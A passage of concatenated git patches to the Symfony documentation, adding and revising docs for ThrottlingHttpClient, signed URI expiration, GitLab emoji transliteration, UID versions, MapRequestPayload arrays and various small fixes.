-            $containerConfigurator->extension('framework', [
-                'cache' => ['prefix_seed' => 'foo/bar'],
-            ]);
-
-            // append from file
-            $containerConfigurator->import('../config/packages/cache.php');
         }
     }
 

From 265a69ccae8e8250255cf596bc42c357f77b4cfc Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 2 Apr 2024 20:52:04 +0200
Subject: [PATCH 4612/5766] [FrameworkBundle][HttpClient] Add
 ThrottlingHttpClient

---
 http_client.rst                       | 34 +++++++++++++++++++++++++++
 reference/configuration/framework.rst | 14 +++++++++++
 2 files changed, 48 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 1966dfba064..3a649f452fd 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1474,6 +1474,40 @@ installed in your application::
 :class:`Symfony\\Component\\HttpClient\\CachingHttpClient` accepts a third argument
 to set the options of the :class:`Symfony\\Component\\HttpKernel\\HttpCache\\HttpCache`.
 
+Limit the Number of Requests
+----------------------------
+
+This component provides a :class:`Symfony\\Component\\HttpClient\\ThrottlingHttpClient`
+decorator that allows to limit the number of requests within a certain period.
+
+The implementation leverages the
+:class:`Symfony\\Component\\RateLimiter\\LimiterInterface` class under the hood
+so that the :doc:`Rate Limiter component </rate_limiter>` needs to be
+installed in your application::
+
+    use Symfony\Component\HttpClient\HttpClient;
+    use Symfony\Component\HttpClient\ThrottlingHttpClient;
+    use Symfony\Component\RateLimiter\LimiterInterface;
+
+    $rateLimiter = ...; // $rateLimiter is an instance of Symfony\Component\RateLimiter\LimiterInterface
+    $client = HttpClient::create();
+    $client = new ThrottlingHttpClient($client, $rateLimiter);
+
+    $requests = [];
+    for ($i = 0; $i < 100; $i++) {
+        $requests[] = $client->request('GET', 'https://example.com');
+    }
+
+    foreach ($requests as $request) {
+        // Depending on rate limiting policy, calls will be delayed
+        $output->writeln($request->getContent());
+    }
+
+.. versionadded:: 7.1
+
+    The :class:`Symfony\\Component\\HttpClient\\ThrottlingHttpClient` was
+    introduced in Symfony 7.1.
+
 Consuming Server-Sent Events
 ----------------------------
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 5a7a5684fbc..d61f94007a8 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1174,6 +1174,20 @@ query
 An associative array of the query string values added to the URL before making
 the request. This value must use the format ``['parameter-name' => parameter-value, ...]``.
 
+rate_limiter
+............
+
+**type**: ``string``
+
+This option limit the number of requests within a certain period thanks
+to the :doc:`Rate Limiter component </rate_limiter>`.
+
+The rate limiter service ID you want to use.
+
+.. versionadded:: 7.1
+
+    The ``rate_limiter`` option was introduced in Symfony 7.1.
+
 resolve
 .......
 

From d49c1d71b885817d240828b22c55d1ab6c19a106 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 4 Apr 2024 10:04:30 +0200
Subject: [PATCH 4613/5766] Minor reword

---
 reference/configuration/framework.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d61f94007a8..e8db5e27eb6 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1179,10 +1179,9 @@ rate_limiter
 
 **type**: ``string``
 
-This option limit the number of requests within a certain period thanks
-to the :doc:`Rate Limiter component </rate_limiter>`.
-
-The rate limiter service ID you want to use.
+The service ID of the rate limiter used to limit the number of HTTP requests
+within a certain period. The service must implement the
+:class:`Symfony\\Component\\RateLimiter\\LimiterInterface`.
 
 .. versionadded:: 7.1
 

From c41f6c6e74925a895a016246aa3148cd51d64ad4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 4 Apr 2024 10:06:22 +0200
Subject: [PATCH 4614/5766] Minor grammar fix

---
 http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 3a649f452fd..c7c80ca57f3 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1482,7 +1482,7 @@ decorator that allows to limit the number of requests within a certain period.
 
 The implementation leverages the
 :class:`Symfony\\Component\\RateLimiter\\LimiterInterface` class under the hood
-so that the :doc:`Rate Limiter component </rate_limiter>` needs to be
+so the :doc:`Rate Limiter component </rate_limiter>` needs to be
 installed in your application::
 
     use Symfony\Component\HttpClient\HttpClient;

From b3492fba6fb350831903c4862589109629de402d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 4 Apr 2024 10:49:18 +0200
Subject: [PATCH 4615/5766] Fix a syntax issue

---
 components/expression_language.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index f622326944e..8092ce491ed 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -82,7 +82,7 @@ Null Coalescing Operator
 
 .. note::
 
-    This content has been moved to the ref:`null coalescing operator <component-expression-null-coalescing-operator>`
+    This content has been moved to the ref:`null coalescing operator <component-expression-null-coalescing-operator>`_
     section of ExpressionLanguage syntax reference page.
 
 Parsing and Linting Expressions

From 88cf04fa4a42cb6a9a9e32c317605adb590f364f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 4 Apr 2024 11:01:27 +0200
Subject: [PATCH 4616/5766] [Uid] Update some RST syntax

---
 components/uid.rst | 140 ++++++++++++++++++++++++---------------------
 1 file changed, 74 insertions(+), 66 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index a2833a10d61..e64eabee0fb 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -30,105 +30,113 @@ Use the named constructors of the ``Uuid`` class or any of the specific classes
 to create each type of UUID:
 
 **UUID v1** (time-based)
-    Generates the UUID using a timestamp and the MAC address of your device
-    (`read UUIDv1 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-1>`__).
-    Both are obtained automatically, so you don't have to pass any constructor argument::
 
-        use Symfony\Component\Uid\Uuid;
+Generates the UUID using a timestamp and the MAC address of your device
+(`read UUIDv1 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-1>`__).
+Both are obtained automatically, so you don't have to pass any constructor argument::
 
-        // $uuid is an instance of Symfony\Component\Uid\UuidV1
-        $uuid = Uuid::v1();
+    use Symfony\Component\Uid\Uuid;
+
+    // $uuid is an instance of Symfony\Component\Uid\UuidV1
+    $uuid = Uuid::v1();
 
-    .. tip::
+.. tip::
 
-        It's recommended to use UUIDv7 instead of UUIDv1 because it provides
-        better entropy.
+    It's recommended to use UUIDv7 instead of UUIDv1 because it provides
+    better entropy.
 
 **UUID v2** (DCE security)
-    Similar to UUIDv1 but with a very high likelihood of ID collision
-    (`read UUIDv2 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-2>`__).
-    It's part of the authentication mechanism of DCE (Distributed Computing Environment)
-    and the UUID includes the POSIX UIDs (user/group ID) of the user who generated it.
-    This UUID variant is **not implemented** by the Uid component.
+
+Similar to UUIDv1 but with a very high likelihood of ID collision
+(`read UUIDv2 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-2>`__).
+It's part of the authentication mechanism of DCE (Distributed Computing Environment)
+and the UUID includes the POSIX UIDs (user/group ID) of the user who generated it.
+This UUID variant is **not implemented** by the Uid component.
 
 **UUID v3** (name-based, MD5)
-    Generates UUIDs from names that belong, and are unique within, some given namespace
-    (`read UUIDv3 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-3>`__).
-    This variant is useful to generate deterministic UUIDs from arbitrary strings.
-    It works by populating the UUID contents with the``md5`` hash of concatenating
-    the namespace and the name::
 
-        use Symfony\Component\Uid\Uuid;
+Generates UUIDs from names that belong, and are unique within, some given namespace
+(`read UUIDv3 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-3>`__).
+This variant is useful to generate deterministic UUIDs from arbitrary strings.
+It works by populating the UUID contents with the``md5`` hash of concatenating
+the namespace and the name::
 
-        // you can use any of the predefined namespaces...
-        $namespace = Uuid::fromString(Uuid::NAMESPACE_OID);
-        // ...or use a random namespace:
-        // $namespace = Uuid::v4();
+    use Symfony\Component\Uid\Uuid;
+
+    // you can use any of the predefined namespaces...
+    $namespace = Uuid::fromString(Uuid::NAMESPACE_OID);
+    // ...or use a random namespace:
+    // $namespace = Uuid::v4();
 
-        // $name can be any arbitrary string
-        // $uuid is an instance of Symfony\Component\Uid\UuidV3
-        $uuid = Uuid::v3($namespace, $name);
+    // $name can be any arbitrary string
+    // $uuid is an instance of Symfony\Component\Uid\UuidV3
+    $uuid = Uuid::v3($namespace, $name);
 
-    These are the default namespaces defined by the standard:
+These are the default namespaces defined by the standard:
 
-      * ``Uuid::NAMESPACE_DNS`` if you are generating UUIDs for `DNS entries <https://en.wikipedia.org/wiki/Domain_Name_System>`__
-      * ``Uuid::NAMESPACE_URL`` if you are generating UUIDs for `URLs <https://en.wikipedia.org/wiki/URL>`__
-      * ``Uuid::NAMESPACE_OID`` if you are generating UUIDs for `OIDs (object identifiers) <https://en.wikipedia.org/wiki/Object_identifier>`__
-      * ``Uuid::NAMESPACE_X500`` if you are generating UUIDs for `X500 DNs (distinguished names) <https://en.wikipedia.org/wiki/X.500>`__
+* ``Uuid::NAMESPACE_DNS`` if you are generating UUIDs for `DNS entries <https://en.wikipedia.org/wiki/Domain_Name_System>`__
+* ``Uuid::NAMESPACE_URL`` if you are generating UUIDs for `URLs <https://en.wikipedia.org/wiki/URL>`__
+* ``Uuid::NAMESPACE_OID`` if you are generating UUIDs for `OIDs (object identifiers) <https://en.wikipedia.org/wiki/Object_identifier>`__
+* ``Uuid::NAMESPACE_X500`` if you are generating UUIDs for `X500 DNs (distinguished names) <https://en.wikipedia.org/wiki/X.500>`__
 
 **UUID v4** (random)
-    Generates a random UUID (`read UUIDv4 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-4>`__).
-    Because of its randomness, it ensures uniqueness across distributed systems
-    without the need for a central coordinating entity. It's privacy-friendly
-    because it doesn't contain any information about where and when it was generated::
 
-        use Symfony\Component\Uid\Uuid;
+Generates a random UUID (`read UUIDv4 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-4>`__).
+Because of its randomness, it ensures uniqueness across distributed systems
+without the need for a central coordinating entity. It's privacy-friendly
+because it doesn't contain any information about where and when it was generated::
+
+    use Symfony\Component\Uid\Uuid;
 
-        // $uuid is an instance of Symfony\Component\Uid\UuidV4
-        $uuid = Uuid::v4();
+    // $uuid is an instance of Symfony\Component\Uid\UuidV4
+    $uuid = Uuid::v4();
 
 **UUID v5** (name-based, SHA-1)
-    It's the same as UUIDv3 (explained above) but it uses ``sha1`` instead of
-    ``md5`` to hash the given namespace and name (`read UUIDv5 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-5>`__).
-    This makes it more secure and less prone to hash collisions.
+
+It's the same as UUIDv3 (explained above) but it uses ``sha1`` instead of
+``md5`` to hash the given namespace and name (`read UUIDv5 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-5>`__).
+This makes it more secure and less prone to hash collisions.
 
 **UUID v6** (reordered time-based)
-    It rearranges the time-based fields of the UUIDv1 to make it lexicographically
-    sortable (like :ref:`ULIDs <ulid>`). It's more efficient for database indexing
-    (`read UUIDv6 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-6>`__)::
 
-        use Symfony\Component\Uid\Uuid;
+It rearranges the time-based fields of the UUIDv1 to make it lexicographically
+sortable (like :ref:`ULIDs <ulid>`). It's more efficient for database indexing
+(`read UUIDv6 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-6>`__)::
+
+    use Symfony\Component\Uid\Uuid;
 
-        // $uuid is an instance of Symfony\Component\Uid\UuidV6
-        $uuid = Uuid::v6();
+    // $uuid is an instance of Symfony\Component\Uid\UuidV6
+    $uuid = Uuid::v6();
 
-    .. tip::
+.. tip::
 
-        It's recommended to use UUIDv7 instead of UUIDv6 because it provides
-        better entropy.
+    It's recommended to use UUIDv7 instead of UUIDv6 because it provides
+    better entropy.
 
 **UUID v7** (UNIX timestamp)
-    Generates time-ordered UUIDs based on a high-resolution Unix Epoch timestamp
-    source (the number of milliseconds since midnight 1 Jan 1970 UTC, leap seconds excluded)
-    (`read UUIDv7 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-7>`__).
-    It's recommended to use this version over UUIDv1 and UUIDv6 because it provides
-    better entropy (and a more strict chronological order of UUID generation)::
 
-        use Symfony\Component\Uid\Uuid;
+Generates time-ordered UUIDs based on a high-resolution Unix Epoch timestamp
+source (the number of milliseconds since midnight 1 Jan 1970 UTC, leap seconds excluded)
+(`read UUIDv7 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-7>`__).
+It's recommended to use this version over UUIDv1 and UUIDv6 because it provides
+better entropy (and a more strict chronological order of UUID generation)::
 
-        // $uuid is an instance of Symfony\Component\Uid\UuidV7
-        $uuid = Uuid::v7();
+    use Symfony\Component\Uid\Uuid;
+
+    // $uuid is an instance of Symfony\Component\Uid\UuidV7
+    $uuid = Uuid::v7();
 
 **UUID v8** (custom)
-    Provides an RFC-compatible format for experimental or vendor-specific use cases
-    (`read UUIDv8 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-8>`__).
-    The only requirement is to set the variant and version bits of the UUID. The rest
-    of the UUID value is specific to each implementation and no format should be assumed::
 
-        use Symfony\Component\Uid\Uuid;
+Provides an RFC-compatible format for experimental or vendor-specific use cases
+(`read UUIDv8 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-8>`__).
+The only requirement is to set the variant and version bits of the UUID. The rest
+of the UUID value is specific to each implementation and no format should be assumed::
+
+    use Symfony\Component\Uid\Uuid;
 
-        // $uuid is an instance of Symfony\Component\Uid\UuidV8
-        $uuid = Uuid::v8();
+    // $uuid is an instance of Symfony\Component\Uid\UuidV8
+    $uuid = Uuid::v8();
 
 .. versionadded:: 6.2
 

From 4b42411181c0815344a97cf7d6c9c5369892aa00 Mon Sep 17 00:00:00 2001
From: pierreboissinot <pierre.boissinot@lephare.com>
Date: Thu, 4 Apr 2024 14:37:34 +0200
Subject: [PATCH 4617/5766] docs: encodedEnvelope is already an array

See https://github.com/symfony/symfony-docs/commit/3c4fe2ae832b0aa0a67a87a93c4c5788ce9a0055#r132772105
---
 messenger.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index ea8a66ae8cc..1f56e76ed7c 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2603,12 +2603,10 @@ Let's say you want to create a message decoder::
     {
         public function decode(array $encodedEnvelope): Envelope
         {
-            $envelope = \json_decode($encodedEnvelope, true);
-
             try {
                 // parse the data you received with your custom fields
-                $data = $envelope['data'];
-                $data['token'] = $envelope['token'];
+                $data = $encodedEnvelope['data'];
+                $data['token'] = $encodedEnvelope['token'];
 
                 // other operations like getting information from stamps
             } catch (\Throwable $throwable) {

From 815e8de93c0a6c1b90650d68d0a9e7dd1b5f9d72 Mon Sep 17 00:00:00 2001
From: Matthias Schmidt <matthias@mttsch.dev>
Date: Thu, 4 Apr 2024 20:31:29 +0200
Subject: [PATCH 4618/5766] [Serializer] Fix punctuation in custom encoders
 docs

---
 serializer/custom_encoders.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer/custom_encoders.rst b/serializer/custom_encoders.rst
index 9f8a9d8448d..95f3131f418 100644
--- a/serializer/custom_encoders.rst
+++ b/serializer/custom_encoders.rst
@@ -56,7 +56,7 @@ create your own encoder that uses the
 Registering it in your app
 --------------------------
 
-If you use the Symfony Framework. then you probably want to register this encoder
+If you use the Symfony Framework, then you probably want to register this encoder
 as a service in your app. If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
 that's done automatically!
 

From 0163c71fb5e24a299153035b67e37a36fdcd8e89 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 3 Apr 2024 22:33:49 +0200
Subject: [PATCH 4619/5766] [Emoji] Add the gitlab locale

---
 string.rst | 19 +++++++++++++++++--
 1 file changed, 17 insertions(+), 2 deletions(-)

diff --git a/string.rst b/string.rst
index 62336e461cf..b4f6d2d1be7 100644
--- a/string.rst
+++ b/string.rst
@@ -560,7 +560,7 @@ textual representation in all languages based on the `Unicode CLDR dataset`_::
 
 
 The ``EmojiTransliterator`` also provides special locales that convert emojis to
-short codes and vice versa in specific platforms, such as GitHub and Slack.
+short codes and vice versa in specific platforms, such as GitHub, Gitlab and Slack.
 
 GitHub Emoji Transliteration
 ............................
@@ -577,6 +577,21 @@ Convert GitHub short codes to emojis with the ``github-emoji`` locale::
     $transliterator->transliterate('Teenage :turtle: really love :pizza:');
     // => 'Teenage 🐢 really love 🍕'
 
+Gitlab Emoji Transliteration
+............................
+
+Convert Gitlab emojis to short codes with the ``emoji-gitlab`` locale::
+
+    $transliterator = EmojiTransliterator::create('emoji-gitlab');
+    $transliterator->transliterate('Breakfast with 🥝 or 🥛');
+    // => 'Breakfast with :kiwi: or :milk:'
+
+Convert Gitlab short codes to emojis with the ``gitlab-emoji`` locale::
+
+    $transliterator = EmojiTransliterator::create('gitlab-emoji');
+    $transliterator->transliterate('Breakfast with :kiwi: or :milk:');
+    // => 'Breakfast with 🥝 or 🥛'
+
 Slack Emoji Transliteration
 ...........................
 
@@ -693,7 +708,7 @@ with the slugger to transform any emojis into their textual representation::
     // $slug = 'un-chat-qui-sourit-chat-noir-et-un-tete-de-lion-vont-au-parc-national';
 
 If you want to use a specific locale for the emoji, or to use the short codes
-from GitHub or Slack, use the first argument of ``withEmoji()`` method::
+from GitHub, Gitlab or Slack, use the first argument of ``withEmoji()`` method::
 
     use Symfony\Component\String\Slugger\AsciiSlugger;
 

From 7dd0472745931d81b6683c239438c0f0ae69ea97 Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Fri, 5 Apr 2024 14:26:38 +0200
Subject: [PATCH 4620/5766] Remove the warning marking the symfony server
 config file as experimental

---
 setup/symfony_server.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index c5608a871fb..c609556a151 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -307,11 +307,6 @@ server provides a ``run`` command to wrap them as follows:
 Configuration file
 ------------------
 
-.. caution::
-
-    This feature is experimental and could change or be removed at any time
-    without prior notice.
-
 There are several options that you can set using a ``.symfony.local.yaml`` config file:
 
 .. code-block:: yaml

From 154efb591decdf218b0647eac3bc4706ea088ccc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Apr 2024 17:08:55 +0200
Subject: [PATCH 4621/5766] Update session.rst

using Redis as class is in error, the class needs to be specified as \Redis as that is the correct namespace.
---
 session.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/session.rst b/session.rst
index 3298e425965..549bf63d912 100644
--- a/session.rst
+++ b/session.rst
@@ -541,7 +541,7 @@ a Symfony service for the connection to the Redis server:
 
             Redis:
                 # you can also use \RedisArray, \RedisCluster or \Predis\Client classes
-                class: Redis
+                class: \Redis
                 calls:
                     - connect:
                         - '%env(REDIS_HOST)%'

From 2c36398f1506f7400be766c65e35a022087c124f Mon Sep 17 00:00:00 2001
From: Amelie Le Coz <lecozamelie@hotmail.com>
Date: Sat, 6 Apr 2024 13:55:59 +0200
Subject: [PATCH 4622/5766] Fix wrong URL for Twig Environment

---
 templates.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index 1ff0ab1d44f..a46a211692c 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1593,7 +1593,7 @@ for this class and :doc:`tag your service </service_container/tags>` with ``twig
 .. _`snake case`: https://en.wikipedia.org/wiki/Snake_case
 .. _`tags`: https://twig.symfony.com/doc/3.x/tags/index.html
 .. _`Twig block tag`: https://twig.symfony.com/doc/3.x/tags/block.html
-.. _`Twig Environment`: https://github.com/twigphp/Twig/blob/3.x/src/Loader/FilesystemLoader.php
+.. _`Twig Environment`: https://github.com/twigphp/Twig/blob/3.x/src/Environment.php
 .. _`Twig Extensions`: https://twig.symfony.com/doc/3.x/advanced.html#creating-an-extension
 .. _`Twig output escaping docs`: https://twig.symfony.com/doc/3.x/api.html#escaper-extension
 .. _`Twig raw filter`: https://twig.symfony.com/doc/3.x/filters/raw.html

From 549de499fc334287e95c6227a07be92102c0ba4c Mon Sep 17 00:00:00 2001
From: Baptiste CONTRERAS <38988658+BaptisteContreras@users.noreply.github.com>
Date: Sat, 6 Apr 2024 20:45:27 +0200
Subject: [PATCH 4623/5766] [HttpFoundation] add documention for signed URI
 expiration

---
 routing.rst | 65 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 65 insertions(+)

diff --git a/routing.rst b/routing.rst
index 53ebe003e0a..0852883b9ee 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2694,6 +2694,71 @@ service, which you can inject in your services or controllers::
         }
     }
 
+You can make the signed URI expire. To do so, you can pass a value to the `$expiration` argument
+of :phpmethod:`Symfony\\Component\\HttpFoundation\\UriSigner::sign`. This optional argument is `null` by default. You can
+specify an expiration date by several ways::
+
+    // src/Service/SomeService.php
+    namespace App\Service;
+
+    use Symfony\Component\HttpFoundation\UriSigner;
+
+    class SomeService
+    {
+        public function __construct(
+            private UriSigner $uriSigner,
+        ) {
+        }
+
+        public function someMethod(): void
+        {
+            // ...
+
+            // generate a URL yourself or get it somehow...
+            $url = 'https://example.com/foo/bar?sort=desc';
+
+            // sign the URL with an explicit expiration date
+            $signedUrl = $this->uriSigner->sign($url, new \DateTime('2050-01-01'));
+            // $signedUrl = 'https://example.com/foo/bar?sort=desc&_expiration=2524608000&_hash=e4a21b9'
+
+            // check the URL signature
+            $uriSignatureIsValid = $this->uriSigner->check($signedUrl);
+            // $uriSignatureIsValid = true
+
+            // if given a \DateInterval, it will be added from now to get the expiration date
+            $signedUrl = $this->uriSigner->sign($url, new \DateInterval('PT10S'));  // valid for 10 seconds from now
+            // $signedUrl = 'https://example.com/foo/bar?sort=desc&_expiration=1712414278&_hash=e4a21b9'
+
+            // check the URL signature
+            $uriSignatureIsValid = $this->uriSigner->check($signedUrl);
+            // $uriSignatureIsValid = true
+
+            sleep(30); // wait 30 seconds...
+
+            // the URL signature has expired
+            $uriSignatureIsValid = $this->uriSigner->check($signedUrl);
+            // $uriSignatureIsValid = false
+
+            // you can also use a timestamp in seconds
+            $signedUrl = $this->uriSigner->sign($url, 4070908800); // timestamp for the date 2099-01-01
+            // $signedUrl = 'https://example.com/foo/bar?sort=desc&_expiration=4070908800&_hash=e4a21b9'
+
+        }
+    }
+
+.. caution::
+
+    `null` means no expiration for the signed URI.
+
+.. note::
+
+    When making the URI expire, an `_expiration` query parameter is added to the URL and the expiration date is
+    converted into a timestamp
+
+.. versionadded:: 7.1
+
+    The possibility to add an expiration date for a signed URI was introduced in Symfony 7.1.
+
 Troubleshooting
 ---------------
 

From c4ed2edc8c58f537aeaa1718ffe034b0c70c3a51 Mon Sep 17 00:00:00 2001
From: Constantin Ross <constantin.ross@active-value.de>
Date: Sat, 6 Apr 2024 23:52:59 +0200
Subject: [PATCH 4624/5766] Fix nullable entitymanager in functional repository
 tests

---
 testing/database.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing/database.rst b/testing/database.rst
index 3f7ce3704f8..0f19ee89b41 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -99,7 +99,7 @@ so, get the entity manager via the service container as follows::
 
     class ProductRepositoryTest extends KernelTestCase
     {
-        private EntityManager $entityManager;
+        private ?EntityManager $entityManager;
 
         protected function setUp(): void
         {

From d978dc549f28feaac4f5112ff2bf3fba9172e8ce Mon Sep 17 00:00:00 2001
From: Yassine Guedidi <yassine@guedidi.com>
Date: Sat, 6 Apr 2024 12:11:25 +0200
Subject: [PATCH 4625/5766] Document Symfony CLI `--no-workers` option

---
 setup/symfony_server.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index c609556a151..d3a7c1959f4 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -327,6 +327,7 @@ There are several options that you can set using a ``.symfony.local.yaml`` confi
         no_tls: true # Use HTTP instead of HTTPS
         daemon: true # Run the server in the background
         use_gzip: true # Toggle GZIP compression
+        no_workers: true # Do not start workers
 
 .. caution::
 
@@ -364,6 +365,11 @@ If you like some processes to start automatically, along with the webserver
         # auto start Docker compose when starting server (available since Symfony CLI 5.7.0)
         docker_compose: ~
 
+.. tip::
+
+    You may want to not start workers on some environments like CI. You can use the
+    ``--no-workers`` option to start the server without starting workers.
+
 .. _symfony-server-docker:
 
 Docker Integration

From fa1934c08d505df970dafd840cb7604c9f4b9e46 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonel.ceruto@scnd.com>
Date: Sun, 7 Apr 2024 12:02:21 -0400
Subject: [PATCH 4626/5766] Documenting items type in the MapRequestPayload
 attribute

---
 controller.rst | 26 ++++++++++++++++++++++++++
 1 file changed, 26 insertions(+)

diff --git a/controller.rst b/controller.rst
index c44f0dafdac..2edf6affb2f 100644
--- a/controller.rst
+++ b/controller.rst
@@ -555,6 +555,32 @@ if you want to map a nested array of specific DTOs::
         ) {}
     }
 
+Nevertheless, if you want to send the array of payloads directly like this:
+
+.. code-block:: json
+
+    [
+        {
+            "firstName": "John",
+            "lastName": "Smith",
+            "age": 28
+        },
+        {
+            "firstName": "Jane",
+            "lastName": "Doe",
+            "age": 30
+        }
+    ]
+
+Map the parameter as an array and configure the type of each element in the attribute::
+
+    public function dashboard(
+        #[MapRequestPayload(type: UserDTO::class)] array $users
+    ): Response
+    {
+        // ...
+    }
+
 Managing the Session
 --------------------
 

From 7341079f8999a05ce94616a5017675a51d3f901b Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Mon, 8 Apr 2024 15:12:58 +0200
Subject: [PATCH 4627/5766] feat: add warning for number constraints with PHP
 7.x

---
 reference/constraints/GreaterThan.rst                 | 2 ++
 reference/constraints/GreaterThanOrEqual.rst          | 2 ++
 reference/constraints/LessThan.rst                    | 2 ++
 reference/constraints/LessThanOrEqual.rst             | 2 ++
 reference/constraints/Negative.rst                    | 2 ++
 reference/constraints/NegativeOrZero.rst              | 2 ++
 reference/constraints/Positive.rst                    | 2 ++
 reference/constraints/PositiveOrZero.rst              | 2 ++
 reference/constraints/_php7-string-and-number.rst.inc | 6 ++++++
 9 files changed, 22 insertions(+)
 create mode 100644 reference/constraints/_php7-string-and-number.rst.inc

diff --git a/reference/constraints/GreaterThan.rst b/reference/constraints/GreaterThan.rst
index 22331edd957..02659140122 100644
--- a/reference/constraints/GreaterThan.rst
+++ b/reference/constraints/GreaterThan.rst
@@ -12,6 +12,8 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThan`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanValidator`
 ==========  ===================================================================
 
+.. include:: /reference/constraints/_php7-string-and-number.rst.inc
+
 Basic Usage
 -----------
 
diff --git a/reference/constraints/GreaterThanOrEqual.rst b/reference/constraints/GreaterThanOrEqual.rst
index 79578c5a5f7..38621c1cb1c 100644
--- a/reference/constraints/GreaterThanOrEqual.rst
+++ b/reference/constraints/GreaterThanOrEqual.rst
@@ -11,6 +11,8 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqu
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqualValidator`
 ==========  ===================================================================
 
+.. include:: /reference/constraints/_php7-string-and-number.rst.inc
+
 Basic Usage
 -----------
 
diff --git a/reference/constraints/LessThan.rst b/reference/constraints/LessThan.rst
index 22ebce5c094..d35050826f3 100644
--- a/reference/constraints/LessThan.rst
+++ b/reference/constraints/LessThan.rst
@@ -12,6 +12,8 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\LessThan`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanValidator`
 ==========  ===================================================================
 
+.. include:: /reference/constraints/_php7-string-and-number.rst.inc
+
 Basic Usage
 -----------
 
diff --git a/reference/constraints/LessThanOrEqual.rst b/reference/constraints/LessThanOrEqual.rst
index 05e2dedbfe5..dd32de0fe0f 100644
--- a/reference/constraints/LessThanOrEqual.rst
+++ b/reference/constraints/LessThanOrEqual.rst
@@ -11,6 +11,8 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqual`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqualValidator`
 ==========  ===================================================================
 
+.. include:: /reference/constraints/_php7-string-and-number.rst.inc
+
 Basic Usage
 -----------
 
diff --git a/reference/constraints/Negative.rst b/reference/constraints/Negative.rst
